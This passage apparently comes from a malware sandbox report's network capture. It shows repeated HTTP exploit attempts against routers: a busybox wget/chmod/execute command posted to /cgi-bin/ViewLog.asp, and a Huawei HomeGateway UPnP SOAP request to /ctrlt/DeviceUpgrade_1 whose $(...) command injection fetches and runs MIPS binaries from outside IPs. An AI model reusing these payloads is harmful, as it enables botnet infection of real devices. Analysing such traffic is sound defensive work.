                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                328192.168.2.155427695.209.143.2418080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:20.856987953 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:21.116885900 CET395INHTTP/1.1 404 Not Found
                                                Server: nginx/1.10.3
                                                Date: Thu, 23 Nov 2023 04:21:21 GMT
                                                Content-Type: text/html
                                                Transfer-Encoding: chunked
                                                Connection: keep-alive
                                                Content-Encoding: gzip
                                                Data Raw: 38 34 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 2a 24 a5 27 e7 e7 e4 17 d9 2a 95 67 64 96 a4 2a 81 8c 48 4e cd 2b 49 2d b2 b3 c9 30 44 37 01 28 62 a3 0f 95 06 d9 05 54 04 e5 e5 a5 67 e6 55 e8 1b ea 19 1a e8 19 23 2b d1 07 59 02 32 54 1f ea 40 00 f8 e7 d5 4a a9 00 00 00 0d 0a 30 0d 0a 0d 0a
                                                Data Ascii: 84(HML),I310Q/Qp/K&T*$'*gd*HN+I-0D7(bTgU#+Y2T@J0


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                329192.168.2.1550362156.241.124.6137215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:23.349246025 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:25.434705973 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:28.122726917 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:33.246510029 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:43.226216078 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:04.217768908 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:45.176501036 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                330192.168.2.1540936197.246.207.17137215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:24.013492107 CET886OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                331192.168.2.153331031.136.27.668080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:24.359810114 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
